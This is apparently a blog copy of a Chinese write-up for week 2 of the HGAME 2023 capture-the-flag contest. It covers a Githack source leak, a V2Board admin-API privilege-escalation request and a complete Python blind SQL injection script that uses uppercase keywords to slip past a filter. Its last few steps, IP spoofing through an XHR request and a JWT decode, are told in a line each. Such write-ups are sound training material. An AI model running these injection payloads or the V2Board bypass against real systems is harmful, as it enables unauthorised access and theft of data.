HGAME2023_WP_WEEK2
Githack一波带走,下载得到flag

搜索得知V2Board存在越权漏洞,随便注册个账号拿到authorization
访问/api/v1/admin/user/fetch?pageSize=10¤t=1

拿到token值,hgame{39d580e71705f6abac9a414def74c466}

这里发现大写能够绕过过滤,我们写一个盲注脚本
import requests
import string
strs = string.printable
headers = {
'Cookie': 'SESSION=MTY3MzY2MDExM3xEdi1CQkFFQ180SUFBUkFCRUFBQUpQLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBZ0FCblZ6WlhJd01RPT18adCvaHER65QoUwkQqK1elOtFjUAT9stHSgpZfPrUWik='
}
flag = ''
def attack(url):
global flag
for i in range(1, 100):
for j in strs:
if j == '%':
continue
tmp = ord(j)
payload = 'DATABASE()'
payload1 = 'SELECT(GROUP_CONCAT(TABLE_NAME))FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA)like(DATABASE())'
payload2 = "SELECT(GROUP_CONCAT(COLUMN_NAME))FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_NAME)like('5ecret15here')"
payload3 = 'SELECT(f14gggg1shere)FROM(5ecret15here)'
data = {
'search_id': f"0||((ascii(substr(({payload3}),{i},1)))like({tmp}))"
}
r = requests.post(url, data=data, headers=headers)
if 'hard disk' in r.text:
flag += j
print(flag)
break
if flag.endswith('}'):
break
if __name__ == '__main__':
url = 'http://week-2.hgame.lwsec.cn:32034/search'
attack(url)
我们写一个xhr请求,让本地来访问就能成功伪造ip,得到true flag

最后我们在vps的web日志里找到请求信息,本想直接输出来着,但没成功

jwt解密得到flag

HGAME2023_WP_WEEK2的更多相关文章
随机推荐
- C++ 动态规划:一维动态规划,背包问题,区间动态规划
C++ 动态规划 动态规划的定义 动态规划(Dynamic Programming,DP)是运筹学的一个分支,是求解决策过程最优化的过程.动态规划是一种在数学.管理科学.计算机科学.经济学和生物信息学 ...
- from 表单非空验证以及多表单提交
开发中我们常用到$('#formid').serialize()方法进行表单序列化提交,但也相应催生了表单的非空严重以及多表单提交. form html: <form id="form ...
- 解决笔记本安装centos7后无法调节屏幕亮度
起因:本人有台老古董笔记本,大约是10年前左右了,三星rv411,配置较低无法安装win7以上的系统.装个CentOS7正好可以拿来学习Linux系统. 但是遇到一个特别恶心的情况,笔记本上调节屏幕亮 ...
- [数学建模]主成分分析法PCA
最常用的线性降维方法,通过某种线性投影,将高维的数据映射到低维的空间中,并期望在所投影的维度上数据的信息量最大(方差最大),以此使用较少的数据维度,同时保留住较多的原数据点的特性. Q1:为何选取方差 ...
- http转成https工具类
工具类代码如下: 点击查看代码 package com.astronaut.auction.modules.oss.utils; import org.apache.commons.collectio ...
- md5-有道翻译
网站 aHR0cHMlM0EvL2ZhbnlpLnlvdWRhby5jb20v 测试发现三个值是变化的 一.第一种方法 initiator一步一步找,在t.translate中找到以下内容 这里可以看 ...
- 【转载】SQL SERVER 表变量与临时表的优缺点
什么情况下使用表变量?什么情况下使用临时表? -- 表变量: DECLARE @tb table(id int identity(1,1), name varchar(100)) INSERT @tb ...
- [编程基础] C++多线程入门8-从线程返回值
原始C++标准仅支持单线程编程.新的C++标准(称为C++11或C++0x)于2011年发布.在C++11中,引入了新的线程库.因此运行本文程序需要C++至少符合C++11标准. 8 从线程返回值 8 ...
- 《深度探索C++对象模型》第三章 Data语意学
首先给出以下例子: class X{}; class Y:public virtual X{}; class Z:public virtual X{}; class A:public Y,public ...
- 使用小黄鸟(HttpCanary)+模拟器(VMOS Pro)对手机APP进行抓包
最近接触app开发,苦于app端不能像网页端可以F12看请求信息,对于后端来说当接口出现异常却不能拿到请求参数是很苦恼的, 因为之前了解过逍遥模拟器,先使用了模拟器对appj进行抓包,但发现这一款ap ...